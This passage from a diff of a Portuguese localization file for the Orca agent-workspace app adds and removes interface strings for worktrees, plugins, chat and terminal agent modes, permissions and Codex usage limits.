         "WorktreeCardMeta": {
           "3e65e11cc6": "Metadados do espaço de trabalho",
@@ -11559,7 +11938,8 @@
           "copyPathOption": "Caminho",
           "copyNameOption": "Nome da worktree",
           "lineageSubmenu": "Pai e Filhos",
-          "projectGroupSubmenu": "Grupo de Projeto"
+          "projectGroupSubmenu": "Grupo de Projeto",
+          "newChildWorktree": "Novo worktree filho…"
         },
         "WorktreeCard": {
           "a88c92d0e3": "{{value0}}/{{value1}} já existe.",
@@ -12245,7 +12625,9 @@
         },
         "SidebarHeader": {
           "92154beb7e": "Novo espaço de trabalho",
-          "addProject": "Adicionar projeto"
+          "addProject": "Adicionar projeto",
+          "expandAllProjects": "Expandir todos os projetos",
+          "collapseAllProjects": "Recolher todos os projetos"
         },
         "NewExternalWorktreesInboxLine": {
           "9f2d4c8b17": "Ocultar worktrees externas permanentemente para {{value0}}",
@@ -12261,7 +12643,9 @@
         "ForgetSshWorkspaceDialog": {
           "ghostBody": "{{host}} não é mais um host SSH salvo, então este espaço de trabalho não está mais conectado a um host ativo. Ele só pode ser removido do Orca — os arquivos e branches no remoto permanecem intocados.",
           "cancel": "Cancelar",
-          "forget": "Remover do Orca"
+          "forget": "Remover do Orca",
+          "removeTitle": "Remover “{{name}}” do Orca?",
+          "savedHostBody": "O projeto deste espaço de trabalho não é servido pelo servidor do Orca em {{host}}, então o Orca não pode excluí-lo lá. Você pode removê-lo do Orca; os arquivos, o worktree Git e as branches em {{host}} permanecerão intactos."
         },
         "RepoScanUnavailableIndicator": {
           "title": "Falha na varredura de worktree para {{value0}}",
@@ -12283,7 +12667,9 @@
           "a23b22d16f": "Copiado",
           "74fc00776f": "Detalhes do erro",
           "ca3b225195": "Falha na renomeação automática da branch",
-          "couldNotGenerateBranchName": "O Orca não conseguiu gerar um nome de branch para <name>{{name}}</name> a partir da primeira mensagem do agente."
+          "couldNotGenerateBranchName": "O Orca não conseguiu gerar um nome de branch para <name>{{name}}</name> a partir da primeira mensagem do agente.",
+          "dismissError": "Ignorar erro",
+          "dismissing": "Descartando…"
         },
         "CreateProjectLocationField": {
           "95548e33bf": "Escolher pasta pai...",
@@ -12704,7 +13090,9 @@
           "turnedOffShort": "Desativado em Configurações → Experimental",
           "serverFilesMissing": "Esta compilação do Orca não pode executar hosts WSL (arquivos do servidor ausentes).",
           "serverFilesMissingShort": "Esta compilação não pode executar hosts WSL",
-          "removalPending": "A remoção não foi concluída"
+          "removalPending": "A remoção não foi concluída",
+          "paused": "Os hosts WSL estão pausados nesta versão. Seus hosts salvos e projetos continuam funcionando; não é possível adicionar hosts nem mover projetos para eles no momento.",
+          "pausedShort": "A adição de distros WSL está pausada nesta compilação."
         },
         "wslHostRemoval": {
           "keptForOthers": "Removido deste Orca. O host continua em execução para {{value0}}.",
@@ -12791,6 +13179,19 @@
           "needsInput": "Precisa de interação",
           "running": "Em execução",
           "idle": "Ocioso"
+        },
+        "hostSection": {
+          "localWindows": "Windows local",
+          "localMac": "Mac local",
+          "localLinux": "Linux local",
+          "thisComputer": "Este computador",
+          "host": "Host"
+        },
+        "workspaceBoardStatus": {
+          "todo": "A fazer",
+          "inProgress": "Em andamento",
+          "inReview": "Em revisão",
+          "done": "Concluído"
         }
       },
       "editor": {
@@ -13575,7 +13976,9 @@
                 "description": "Este arquivo não é texto UTF-8. Salvá-lo como UTF-8 substitui por � os caracteres que não são UTF-8 válido, e os bytes originais não poderão ser recuperados.",
                 "action": "Salvar como UTF-8"
               }
-            }
+            },
+            "bytesUpdateRequired": "Salvar arquivos binários aqui requer um servidor Orca mais recente. Atualize o servidor Orca e tente novamente.",
+            "deniedByPlugin": "O plugin {{plugin}} recusou este salvamento: {{reason}}"
           }
         },
         "CheckRunAnnotations": {
@@ -13678,6 +14081,15 @@
           "tooLarge": "{{value0}} é grande demais para abrir no {{value1}} ({{value2}}; o limite é {{value3}}).",
           "unsupported": "{{value0}} não consegue ler este arquivo de onde ele está armazenado. Atualize o servidor do Orca que o hospeda ou mude para Código-fonte.",
           "readFailed": "Não foi possível ler {{value0}} para {{value1}}. {{value2}}"
+        },
+        "PluginEditorNeedsDesktopNotice": {
+          "browser": "{{value0}} funciona apenas em um quadro isolado, indisponível nos clientes de navegador.",
+          "isolationOff": "{{value0}} funciona apenas em um quadro isolado, mas os quadros isolados de plugins estão desativados.",
+          "heading": "Este editor precisa do aplicativo de desktop Orca",
+          "openSource": "Abrir código-fonte"
+        },
+        "MarkdownDefaultViewContextMenu": {
+          "label": "Visualização Markdown padrão"
         }
       },
       "skills": {
@@ -14175,6 +14587,14 @@
           "removedPreserved_one": "Removidas: {{removed}} · {{count}} skill modificada preservada.",
           "removedPreserved_other": "Removidas: {{removed}} · {{count}} skills modificadas preservadas.",
           "removedPreserved_many": "Removidas: {{removed}} · {{count}} skills modificadas preservadas."
+        },
+        "skillFreshnessAutoUpdate": {
+          "strandedTitle": "O Orca não conseguiu fazer backup de suas edições em {{value0}}",
+          "strandedDescription": "Suas edições ainda estão em {{value0}}. Copie-as para um local seguro antes de atualizar novamente.",
+          "preservedTitle": "Suas edições em {{value0}} foram salvas separadamente",
+          "preservedDescription": "O Orca atualizou a skill e salvou suas edições em {{value0}}.",
+          "uncertainTitle": "O Orca não conseguiu confirmar a atualização da skill em {{value0}}",
+          "uncertainDescription": "O Orca pode ter atualizado as skills em {{value0}}, mas não conseguiu confirmar o resultado. Se você editou uma skill durante a atualização, sua cópia está em {{value1}}."
         }
       },
       "automations": {
@@ -15081,7 +15501,8 @@
           "linearProjectRestoreFailed": "Falha ao restaurar o projeto do Linear salvo.",
           "linearViewNotFound": "A visualização do Linear salva não foi encontrada.",
           "linearViewRestoreFailed": "Falha ao restaurar a visualização do Linear salva."
-        }
+        },
+        "gitlabLoadFailed": "Não foi possível carregar itens de trabalho do GitLab. Atualize para tentar novamente."
       },
       "feature": {
         "wall": {
@@ -15869,7 +16290,8 @@
             "9cb1a0c984": "Adicionar texto",
             "2e26a06c70": "Adicionar rótulo",
             "36341ffc66": "Atribuir",
-            "e369bf4fec": "Selecionar"
+            "e369bf4fec": "Selecionar",
+            "linkedPullRequestsOverflow": "+{{count}} a mais"
           },
           "ProjectPicker": {
             "96739284c3": "Cole uma URL de projeto abaixo para alcançar os que estão faltando.",
@@ -16307,7 +16729,10 @@
         "authorOpenedThisIssue": "<author/> abriu esta issue",
         "middotUpdatedRelativeTime": "· atualizado {{time}}",
         "resolvedThreadBy": "Thread resolvida de {{author}}",
-        "resolvedCommentBy": "Comentário resolvido de {{author}}"
+        "resolvedCommentBy": "Comentário resolvido de {{author}}",
+        "refreshTask": "Atualizar tarefa",
+        "refreshTaskFailed": "Não foi possível atualizar esta tarefa. Tente novamente.",
+        "refreshTaskUnsupported": "Atualize o Orca neste servidor para atualizar as tarefas aqui."
       },
       "terminal": {
         "pane": {
@@ -16399,7 +16824,10 @@
             "downloadOpenWithDefaultApp": "Baixar e abrir com o aplicativo padrão",
             "downloadOpenFailed": "Falha ao baixar '{{value0}}'.",
             "openInNewTab": "Abrir em nova aba",
-            "openInThisGroupRefused": "Não foi possível abrir {{value0}} neste grupo"
+            "openInThisGroupRefused": "Não foi possível abrir {{value0}} neste grupo",
+            "copyFilePath": "Copiar caminho do arquivo",
+            "copiedFilePath": "Caminho do arquivo copiado",
+            "copyFilePathFailed": "Falha ao copiar o caminho do arquivo"
           },
           "MobileDriverOverlay": {
             "c6460cf584": "Retomar",
@@ -16606,7 +17034,8 @@
             "restoreWorkspace": "Restaure a pasta do espaço de trabalho ou abra um espaço de trabalho disponível e tente novamente.",
             "tryInTerminal": "Execute-o em um terminal nesta pasta para descobrir o motivo e tente novamente.",
             "unconfirmed": "Não foi possível confirmar que {{agent}} iniciou. Verifique seu terminal antes de tentar novamente.",
-            "workspaceGone": "Não foi possível iniciar {{agent}} porque seu espaço de trabalho não está mais disponível."
+            "workspaceGone": "Não foi possível iniciar {{agent}} porque seu espaço de trabalho não está mais disponível.",
+            "gitBashConsoleCapacity": "Git Bash relatou seu limite de 128 terminais abertos neste PC ao iniciar {{agent}}. Feche alguns terminais Git Bash e tente novamente."
           },
           "TerminalSleepingPaneOverlay": {
             "pausedDetail": "As restaurações automáticas estão pausadas porque o host parou inesperadamente. Sua sessão está salva.",
@@ -16688,7 +17117,19 @@
             "19c212e25e": "MacBook Pro",
             "2f1a1d10c4": "Desktops",
             "af761a0c0d": "Configurações",
-            "5d94e8ddcc": "Orca"
+            "5d94e8ddcc": "Orca",
+            "dc1f3f5535": "Volte a trabalhar",
+            "c2a0215163": "Esperando entrada",
+            "0c14dac908": "2m",
+            "609517273b": "Trabalhando",
+            "005afbad3d": "agora mesmo",
+            "04a94cadee": "40 worktrees · 5 ativos",
+            "b5308d5e2c": "M1 Mini",
+            "aefd110ea5": "Emparelhar um computador",
+            "d08ee9c466": "Novo espaço de trabalho",
+            "aa44b4a6b2": "Explore suas issues e revisões",
+            "eda5c8d01b": "Automações",
+            "cd2ad5b641": "Agende o trabalho do agente e visualize execuções"
           },
           "TerminalSlide": {
             "0bb39f8fe6": "Enviar",
@@ -18006,7 +18447,6 @@
               "f4c79cff5f": "Revise o erro do espaço de trabalho abaixo e atualize.",
               "ef90b21366": "Nenhuma visualização encontrada",
               "c0a50f96a4": "Não foi possível carregar as visualizações",
-              "df4bd63c1d": "Não atribuído",
               "30402d2c6e": "Tente buscar ou atualizar.",
               "a2f31c4cd6": "Nenhum projeto do Linear encontrado",
               "c9b6e9f90d": "Não foi possível carregar os projetos do Linear",
@@ -18316,6 +18756,14 @@
         "FolderWorkspaceSourceControl": {
           "openWorktree": "Abrir este worktree",
           "reconnect": "Reconecte para ver as alterações deste worktree."
+        },
+        "PluginDeclarativePanel": {
+          "dismissLoadError": "Descartar",
+          "invalidTree": "O painel enviou um layout que o Orca não pode mostrar.",
+          "loadFailed": "{{value0}} falhou ao carregar.",
+          "loadFailedKeptLastGood": "{{value0}} falhou ao carregar. Mostrando a última versão carregada.",
+          "pluginMessage": "Mensagem de {{value0}}: {{value1}}",
+          "reloaded": "Recarregado"
         }
       },
       "cmd": {
@@ -18362,8 +18810,13 @@
                 "removeWorktree": "remover worktree",
                 "trashWorktree": "descartar worktree",
                 "addQuickCommand": "adicionar comando rápido",
-                "newQuickCommand": "novo comando rápido"
-              }
+                "newQuickCommand": "novo comando rápido",
+                "browserRight": "navegador à direita",
+                "splitBrowser": "navegador dividido",
+                "browserSplit": "divisão do navegador"
+              },
+              "newBrowserTabSplitRight": "Nova guia do navegador na divisão direita",
+              "newBrowserTabSplitRightDescription": "Abra uma guia do navegador em uma nova divisão à direita."
             }
           },
           "palette": {
@@ -18658,7 +19111,6 @@
         "23886c7eec": "Adicionar rótulo",
         "7f7b89b631": "Rótulos: {{value0}}",
         "b2376d0179": "Carregando membros",
-        "866316f22c": "Não atribuído",
         "b5675b0694": "Salvar",
         "ceeb8c6153": "Limpar",
         "fbb90300e2": "Estimativa personalizada",
@@ -19285,7 +19737,6 @@
         "status": "Status",
         "priority": "Prioridade",
         "assignee": "Responsável",
-        "unassigned": "Não atribuído",
         "labels": "Rótulos",
         "countSelected": "{{count}} selecionado(s)",
         "partialCoverageMarker": "· parcial",
@@ -19477,6 +19928,18 @@
             "767951265d": "Algo deu errado ao criar a worktree.",
             "cancelProvisioning": "Cancelar",
             "vmProvisioningLogEmpty": "Esperando a saída da receita…"
+          },
+          "PendingNativeChatCreation": {
+            "sendBlockedFailed": "Tente criar o worktree novamente para poder enviar",
+            "sendBlockedHeld": "Envia quando o worktree estiver pronto",
+            "openingChat": "Abrindo bate-papo…"
+          },
+          "WorktreeSetupSteps": {
+            "prepare": "Preparar espaço de trabalho",
+            "fetch": "Buscar branch base",
+            "create": "Criar worktree",
+            "setup": "Configurar espaço de trabalho",
+            "startAgent": "Iniciar {{agent}}"
           }
         }
       },
@@ -19563,7 +20026,7 @@
           "searchPlaceholder": "Pesquisar plugins",
           "updates": "Atualizações",
           "clearSearch": "Limpar busca",
-          "notInstalled": "Não instalados"
+          "notInstalled": "Não instalado"
         },
         "PluginListRow": {
           "official": "Oficial"
@@ -19599,7 +20062,9 @@
         "failingChip": "{{value0}} com falha",
         "pendingChip": "{{value0}} pendentes",
         "needsActionChip": "{{value0}} ação necessária",
-        "unresolvedChip": "{{value0}} não resolvidas"
+        "unresolvedChip": "{{value0}} não resolvidas",
+        "noChecks": "Nenhuma verificação encontrada",
+        "passingSummary": "{{value0}} de {{value1}} verificações aprovadas"
       },
       "ComposerParentWorktreePicker": {
         "label": "Worktree pai",
@@ -19962,7 +20427,8 @@
         "allChecksPassing": "Todas as verificações passaram",
         "checksPassingOfTotal_one": "Verificações bem-sucedidas: {{passing}} de {{count}}",
         "checksPassingOfTotal_other": "Verificações bem-sucedidas: {{passing}} de {{count}}",
-        "checksPassingOfTotal_many": "Verificações bem-sucedidas: {{passing}} de {{count}}"
+        "checksPassingOfTotal_many": "Verificações bem-sucedidas: {{passing}} de {{count}}",
+        "noCheckDetails": "Não há detalhes das verificações disponíveis"
       },
       "taskPageJiraBoard": {
         "changeStatusFailed": "Falha ao alterar o status."
@@ -20013,17 +20479,39 @@
         },
         "pluginNameDisambiguation": {
           "nameWithPublisher": "{{value0}} ({{value1}})"
+        },
+        "declarative": {
+          "PluginDeclarativeView": {
+            "unsupported": "{{value0}} não está disponível nesta versão do Orca"
+          },
+          "KeyValue": {
+            "yes": "Sim",
+            "no": "Não"
+          },
+          "Skeleton": {
+            "loading": "Carregando"
+          },
+          "Table": {
+            "yes": "Sim",
+            "empty": "Nenhuma linha",
+            "loading": "Carregando mais…"
+          },
+          "Tree": {
+            "loading": "Carregando…"
+          }
+        },
+        "PluginCommandReplacementRow": {
+          "title": "{{value0}} é executado em vez do {{value1}} do Orca",
+          "conflict": "Não usado: {{value0}}, instalado primeiro, o substitui",
+          "detail": "No atalho, na paleta e nos menus. Se o plugin falhar, o comando do Orca será executado.",
+          "switch": "Use {{value0}} em vez de {{value1}} do Orca"
         }
       },
       "agent-workspace-trust-decision": {
-        "prompt-title": "Confiar em {{repo}} para agentes?",
-        "prompt-description": "Agentes como Claude Code e Codex perguntam “Você confia nesta pasta?” antes de carregar as configurações e hooks de agentes do próprio projeto, que podem executar comandos. O Orca pode responder sim por você em todas as worktrees deste repositório.",
-        "prompt-remembered": "O Orca lembra sua resposta para este repositório. Você pode alterá-la nas configurações do repositório.",
         "trust-repository": "Confiar no repositório",
         "let-agents-ask": "Deixar os agentes perguntarem",
         "setting-title": "Confiança de Pasta para Agentes",
         "setting-description": "Define se os agentes que o Orca inicia nas worktrees deste repositório pulam a pergunta “Você confia nesta pasta?” e carregam imediatamente as configurações e hooks de agentes do projeto.",
-        "setting-undecided": "Ainda não decidido. O Orca vai perguntar na próxima vez que você iniciar um agente aqui.",
         "setting-global-off": "A confiança de pasta está desativada nas configurações de Agentes, então os agentes sempre perguntam.",
         "keyword-trust": "confiança",
         "keyword-hooks": "hooks"
@@ -20049,12 +20537,23 @@
           "theme": "Aparência",
           "windowsTerminal": "Windows Terminal",
           "notifications": "Notificações",
-          "integrations": "Integrações"
+          "integrations": "Integrações",
+          "agentSurface": "Bate-papo ou Terminal"
         },
         "actions": {
           "addFirstProject": "Adicione seu primeiro projeto",
           "continue": "Continuar",
           "openingAddProject": "Abrindo Adicionar Projeto..."
+        },
+        "agentSurface": {
+          "title": "Como você deseja trabalhar com agentes?",
+          "pickWhereAgentsOpen": "Escolha onde novos agentes abrem."
+        },
+        "agentChat": {
+          "subtitle": "Escolha um agente com interface de chat. Agentes sem suporte a chat abrem em um terminal."
+        },
+        "agentTerminal": {
+          "subtitle": "O Orca funciona com todos os agentes de CLI. Escolha o que você mais usará."
         }
       },
       "skipConfirmation": {
@@ -20100,6 +20599,56 @@
           "reviewStatus": "Veja o estado da issue, o status de revisão e as verificações de CI em cada worktree",
           "managePullRequests": "Leia, comente e faça merge de pull requests sem sair do Orca"
         }
+      },
+      "yoloPermissions": {
+        "overrideDescription": "Esses agentes ainda podem executar comandos e editar arquivos sem perguntar. Suas configurações individuais substituem o modo Yolo.",
+        "fullAccessOverride": "{{agent}} ainda tem acesso total",
+        "useAgentOwnSettings": "Use as próprias configurações de {{agent}}",
+        "useOwnSettings": "Use configurações próprias",
+        "saveError": "Não foi possível alterar as permissões. Tente novamente.",
+        "ownSettingsDescription": "Desativado usa as configurações próprias de cada agente. As permissões de agentes individuais podem substituir essa opção."
+      },
+      "agentStep": {
+        "worksInChat": "Funciona na interface de chat",
+        "chatAgents": "Agentes com interface de chat",
+        "terminalAgents": "Disponíveis como agentes de terminal",
+        "terminalAgentsHint": "Sem suporte à interface de chat, eles abrem em um terminal.",
+        "chatAvailable": "Bate-papo disponível",
+        "agentsOpenIn": "Agentes abrem em",
+        "terminalUi": "Interface do terminal",
+        "noAgentsForChat": "<em>Nenhum agente encontrado no PATH.</em> A interface de chat funciona com {{agents}}. Instale um agente ou continue e adicione um depois.",
+        "noChatAgentsDetected": "<em>Nenhum dos seus agentes funciona na interface de chat.</em> Todos abririam em um terminal, por isso a opção Terminal é mais adequada.",
+        "opensInTerminalFit": "<em>{{agent}} abre em um terminal</em>, por isso a opção Terminal é mais adequada.",
+        "useTerminalInstead": "Usar o terminal",
+        "terminalTipHow": "Mostrar como iniciar um agente em um terminal",
+        "terminalTip": "Você pode voltar a qualquer momento em <em>Configurações → Interface de chat</em>. Também pode iniciar qualquer agente em um terminal pelo menu <em>+</em>.",
+        "terminalTipWeb": "Você pode voltar a qualquer momento em <em>Configurações → Lista de introdução</em>. Também pode iniciar qualquer agente em um terminal pelo menu <em>+</em>.",
+        "terminalTipCaption": "Clique em <em>+</em> na barra de guias e escolha um agente marcado como <em>(CLI)</em>. Se a CLI de um agente de chat estiver instalada, passe o mouse sobre sua linha e clique no ícone do terminal para usar a CLI.",
+        "chatTip": "Quer usar o chat também? Ative-o a qualquer momento em <em>Configurações → Interface de chat</em>.",
+        "turnOnChat": "Ativar agora"
+      },
+      "agentSurface": {
+        "chat": {
+          "label": "Interface de chat",
+          "description": "Os agentes respondem em um chat, com mensagens e diffs formatados.",
+          "terminalFallback": "Agentes sem suporte de chat e pastas abertas por SSH ou WSL neste computador ainda abrem em um terminal.",
+          "noneDetected": "Nenhum dos agentes detectados funciona na interface de chat."
+        },
+        "terminal": {
+          "label": "Terminal",
+          "description": "A CLI própria de cada agente, como é distribuída. Funciona com todos os agentes de CLI."
+        },
+        "switchNote": "Esta escolha não é permanente. Mude a qualquer momento em <em>Configurações → Interface de chat</em>.",
+        "preview": {
+          "userMessage": "Adicionar nova tentativa para fetchUser",
+          "agentMessage": "Solicitações com falha agora são repetidas até três vezes.",
+          "composerPlaceholder": "Faça outra pergunta…"
+        }
+      },
+      "launchDemo": {
+        "userMessage": "Corrija o teste de upload instável",
+        "agentMessage": "Encontrei. O temporizador de nova tentativa não foi simulado.",
+        "cliReady": "{{agent}} CLI pronto."
       }
     },
     "jiraUserPicker": {
@@ -20133,7 +20682,8 @@
         "changedFiles_other": "{{count}} arquivos alterados",
         "changedFiles_many": "{{count}} arquivos alterados",
         "hide": "Ocultar",
-        "hidden": "O Orca não mostrará mais as diferenças dos turnos"
+        "hidden": "O Orca não mostrará mais as diferenças dos turnos",
+        "showMoreFiles": "Mostrar mais {{count}}"
       },
       "receipt": {
         "unavailable": "Resposta selecionada indisponível",
@@ -20168,7 +20718,8 @@
         "safetyReviewApproved": "{{agent}} aprovou esta ação. Ver detalhes.",
         "safetyReview": "{{agent}} relatou um aviso de revisão de segurança. Ver detalhes.",
         "truncatedResponse": "Resposta do provedor truncada (tamanho original: {{bytes}} bytes).",
-        "forkedFrom": "Ramificado de"
+        "forkedFrom": "Ramificado de",
+        "modelFallback": "Claude mudou de modelo: {{from}} → {{to}}."
       },
       "composer": {
         "planMode": "Planejar",
@@ -20232,7 +20783,8 @@
           "xhigh": "Extra alto",
           "max": "Máximo",
           "ultra": "Ultra",
-          "standard": "Padrão"
+          "standard": "Padrão",
+          "ultracode": "Ultracode"
         },
         "pendingAttachmentLimit": "Há muitos anexos aguardando. Termine de compor antes de anexar mais.",
         "viewAttachment": "Ver imagem",
@@ -20729,7 +21281,9 @@
         "conversationOpenInTerminal": "{{agent}} já está executando esta conversa em outro terminal. Saia do {{agent}} lá ou feche esse terminal para continuar aqui.",
         "modelUnavailableUpdate": "{{agent}} não conseguiu usar {{detail}}. Atualize o {{agent}} para {{minimumVersion}} ou posterior para mantê-lo após reiniciar, ou selecione outro modelo e envie novamente.",
         "modelNotSelected": "{{agent}} não tem nenhum modelo selecionado. Verifique a seleção de modelo e o login do {{agent}} e envie novamente.",
-        "pluginInputRequired": "{{agent}} parou porque o plugin \"{{plugin}}\" está aguardando uma entrada em um painel de terminal. Desative o plugin para sessões de chat ou execute a tarefa em um terminal {{agent}}."
+        "pluginInputRequired": "{{agent}} parou porque o plugin \"{{plugin}}\" está aguardando uma entrada em um painel de terminal. Desative o plugin para sessões de chat ou execute a tarefa em um terminal {{agent}}.",
+        "claudeEffortInvalid": "O nível de esforço do Claude é inválido; selecione low, medium, high, xhigh ou max e envie novamente.",
+        "unconfirmed": "Não foi possível confirmar se esta mensagem foi enviada. Ela não foi reenviada."
       },
       "writeNotice": {
         "notDoneReadHistory": "Não foi possível carregar o histórico deste chat.",
@@ -20807,7 +21361,8 @@
         "clearAfterSending": "Sua mensagem anterior ainda está sendo enviada. Execute /clear após o envio.",
         "compactAfterSending": "Sua mensagem anterior ainda está sendo enviada. Execute /compact após o envio.",
         "pendingWork": "Aguarde a conclusão do trabalho e das mensagens pendentes antes de usar este comando.",
-        "notDoneGoalChangeIncomplete": "Não foi possível concluir a alteração do objetivo. Verifique o chat."
+        "notDoneGoalChangeIncomplete": "Não foi possível concluir a alteração do objetivo. Verifique o chat.",
+        "mailOwnerUnconfirmed": "Orca não conseguiu confirmar se esta mensagem ainda se destina a este chat."
       },
       "newRowsAnnouncement": "Novas mensagens chegaram enquanto você estava ausente",
       "newRowsMarker": "Novas",
@@ -20822,7 +21377,11 @@
       "resumeInNewChat": {
         "hostUpdateRequired": "Atualize o Orca neste host para continuar na interface de chat.",
         "notSavedYet": "O {{agent}} ainda não salvou esta conversa. Tente novamente depois que ele responder.",
-        "exitUnconfirmed": "O {{agent}} está executando esta conversa em outro terminal. Saia dele lá ou feche esse terminal e tente novamente."
+        "exitUnconfirmed": "O {{agent}} está executando esta conversa em outro terminal. Saia dele lá ou feche esse terminal e tente novamente.",
+        "exitUnconfirmedFromTerminal": "{{agent}} ainda está executando esta conversa neste terminal. Saia do {{agent}} aqui e abra esta conversa no Histórico da Sessão.",
+        "terminalChanged": "O terminal executando {{agent}} mudou antes de ser fechado, então o Orca o deixou aberto. Tente novamente.",
+        "terminalExitUnproven": "Orca fechou o terminal de {{agent}}, mas não conseguiu confirmar se ele parou, então o chat não abriu. Verifique a conexão do host e abra a conversa no Histórico da Sessão.",
+        "resumeFailed": "{{agent}} não conseguiu continuar no chat. Verifique este terminal e a conexão do host e tente novamente."
       },
       "loadingEarlierMessages": "Carregando mensagens anteriores…",
       "prompt": {
@@ -20870,7 +21429,8 @@
         "senderReplaced": "{{name}} não está mais em execução em seu terminal; outro agente está em execução nele agora. Abra esse terminal pela barra lateral se precisar dele.",
         "senderAmbiguous": "O Orca não consegue identificar em qual terminal {{name}} está em execução. Abra-o pela barra lateral.",
         "senderNotRunning": "{{name}} não está mais em execução. Inicie um novo agente pela barra lateral para continuar o trabalho.",
-        "unnamedSenderSubject": "Um agente"
+        "unnamedSenderSubject": "Um agente",
+        "goToAgent": "Vá para o agente"
       },
       "goal": {
         "placeholder": "Descreva seu objetivo e defina resultados mensuráveis para obter os melhores resultados",
@@ -20904,7 +21464,8 @@
         "copyOrcaSessionId": "Copiar ID de sessão do Orca",
         "orcaSessionIdCopied": "ID de sessão do Orca copiado",
         "orcaSessionIdCopyFailed": "Não foi possível copiar o ID de sessão do Orca",
-        "orcaSessionIdTooltip": "ID deste chat no Orca, separado do ID de sessão da CLI do agente. Os agentes o usam para se referir uns aos outros pelo Orca."
+        "orcaSessionIdTooltip": "ID deste chat no Orca, separado do ID de sessão da CLI do agente. Os agentes o usam para se referir uns aos outros pelo Orca.",
+        "noSessionContext": "Nenhum contexto de bate-papo está disponível."
       },
       "dismissDeliveryNotice": "Dispensar",
       "addSelectionToChat": "Adicionar ao chat",
@@ -20952,7 +21513,9 @@
         "clearAll": "Limpar tudo",
         "moveChanged": "A fila mudou antes desta movimentação. Tente arrastar a mensagem novamente.",
         "reorderHint": "Arraste para reordenar ou use as teclas de seta para cima e para baixo.",
-        "reorderMessage": "Reordenar mensagem"
+        "reorderMessage": "Reordenar mensagem",
+        "editReturned": "Sua edição está na caixa de bate-papo.",
+        "commandsUnsupported": "Comandos não podem ser salvos em uma mensagem na fila."
       },
       "thought": "Raciocínio",
       "thoughtForDuration": "Pensou por {{duration}}",
@@ -20972,12 +21535,14 @@
         "start": "Iniciar",
         "unverifiable": "O Orca não conseguiu verificar se {{distro}} está em execução",
         "startToSend": "Inicie {{distro}} para enviar.",
-        "startDistro": "Iniciar {{distro}}"
+        "startDistro": "Iniciar {{distro}}",
+        "startFailed": "Não foi possível iniciar {{distro}}. Verifique em Configurações → Servidores Orca Remotos."
       },
       "interruptedContinue": {
         "continue": "Continuar",
         "failed": "Não foi possível continuar este chat. Tente novamente ou envie uma mensagem.",
-        "explanation": "Ao continuar, o agente verifica primeiro se a última etapa foi concluída."
+        "explanation": "Ao continuar, o agente verifica primeiro se a última etapa foi concluída.",
+        "usageLimitExplanation": "Pede ao agente para continuar de onde parou. Use-o quando o limite for redefinido."
       },
       "antigravitySignIn": {
         "sentence": "Você não está conectado ao Antigravity. Entre em <settings>Configurações → Contas → Antigravity</settings>. Depois envie sua mensagem novamente."
@@ -21008,7 +21573,8 @@
         "settingsRejected": "O Codex não conseguiu aplicar o modelo e o esforço selecionados. Esta alteração de objetivo não foi enviada. Confira a seleção e tente novamente.",
         "settingsUnconfirmed": "O Codex não confirmou o modelo e o esforço selecionados. Esta alteração de objetivo não foi enviada. Confira o chat e tente novamente.",
         "pauseUnconfirmed": "O Codex parou de executar, mas a pausa do objetivo não foi confirmada. Confira o objetivo antes de continuar.",
-        "stopUnconfirmed": "O Codex não conseguiu confirmar a parada. Confira o chat antes de continuar."
+        "stopUnconfirmed": "O Codex não conseguiu confirmar a parada. Confira o chat antes de continuar.",
+        "noGoal": "O Codex não tem nenhum objetivo para alterar neste chat. Defina um com /goal seguido do objetivo."
       },
       "slashCommandDescriptions": {
         "clearConversation": "Limpar a conversa",
@@ -21185,7 +21751,53 @@
         "many_many": "Criadas {{count}} pull requests"
       },
       "splitRight": "Dividir à direita",
-      "splitDown": "Dividir para baixo"
+      "splitDown": "Dividir para baixo",
+      "editDeliveryNotice": "Editar",
+      "explicitChatWslAddHost": "O bate-papo não está disponível em uma pasta WSL aberta no Windows. Adicione a distribuição como um host WSL (Adicionar um projeto → Adicionar host remoto → Adicionar distribuição WSL) para conversar lá ou abra o agente em um terminal.",
+      "githubPeek": {
+        "updated": "atualizado {{time}}",
+        "oneComment": "1 comentário",
+        "comments": "{{count}} comentários",
+        "unavailable": "Visualização indisponível.",
+        "retry": "Tentar novamente"
+      },
+      "webPeek": {
+        "unavailable": "Nenhuma visualização para esta página."
+      },
+      "usageLimitActions": {
+        "continueNow": "Continuar agora",
+        "leadIn": "Continue este bate-papo sem esperar:",
+        "switchAccount": "Trocar de conta",
+        "addAccount": "Adicionar conta…",
+        "accountUnavailable": "Este chat não pode ser transferido para outra conta. Passe-o para outro agente."
+      },
+      "usageLimitAutoContinue": {
+        "cancelFailed": "Não foi possível cancelar a continuação automática. Tente novamente.",
+        "openSetting": "Continuar automaticamente quando os limites forem redefinidos",
+        "cancelled": "Orca não continuará este bate-papo automaticamente.",
+        "scheduled": "Orca continuará este bate-papo às {{time}}.",
+        "cancel": "Não continue"
+      },
+      "creationChatNotOpened": "O worktree está pronto, mas o chat não pôde ser aberto. Tente abri-lo novamente com sua mensagem.",
+      "usage": {
+        "description": "Mostrar o uso da conta Codex deste chat",
+        "loading": "Carregando uso do Codex…",
+        "failed": "O uso do Codex não pôde ser carregado. Tente novamente.",
+        "codexVersion": "Esta versão do Codex não informa o uso. Atualize o Codex.",
+        "apiKeyAuth": "O uso do Codex não está disponível com uma chave de API. Faça login no Codex com uma conta ChatGPT para visualizar o uso.",
+        "title": "Uso do Codex",
+        "account": "Conta usada por este chat",
+        "retry": "Tentar novamente",
+        "resetFailed": "Os limites do Codex não puderam ser redefinidos. Tente novamente.",
+        "confirmReset": "Isso usa um crédito de redefinição de limite de taxa do Codex para {{account}} e redefine qualquer janela de uso qualificada imediatamente.",
+        "sharedAccount": "Conta compartilhada atual",
+        "outcome": {
+          "reset": "Os limites do Codex foram redefinidos.",
+          "nothingToReset": "Nada para redefinir agora.",
+          "noCredit": "Não há créditos de redefinição do Codex nesta conta.",
+          "alreadyRedeemed": "Esse crédito de redefinição já foi usado."
+        }
+      }
     },
     "tab": {
       "bar": {
@@ -21419,7 +22031,19 @@
           "selectAllSafetyChecked_one": "Selecionar {{count}} espaço de trabalho com segurança verificada",
           "selectAllSafetyChecked_other": "Selecionar todos os {{count}} espaços de trabalho com segurança verificada",
           "selectAllSafetyChecked_many": "Selecionar todos os {{count}} espaços de trabalho com segurança verificada",
-          "lastActive": "Última atividade: {{value0}}"
+          "lastActive": "Última atividade: {{value0}}",
+          "projectNamed": "Projeto: {{value0}}",
+          "moreFlags": "Mostrar mais {{value0}} indicadores",
+          "pathLabel": "Caminho",
+          "copyPath": "Copiar caminho",
+          "gitNotChecked": "Não verificado",
+          "workspaceCount_one": "{{count}} espaço de trabalho",
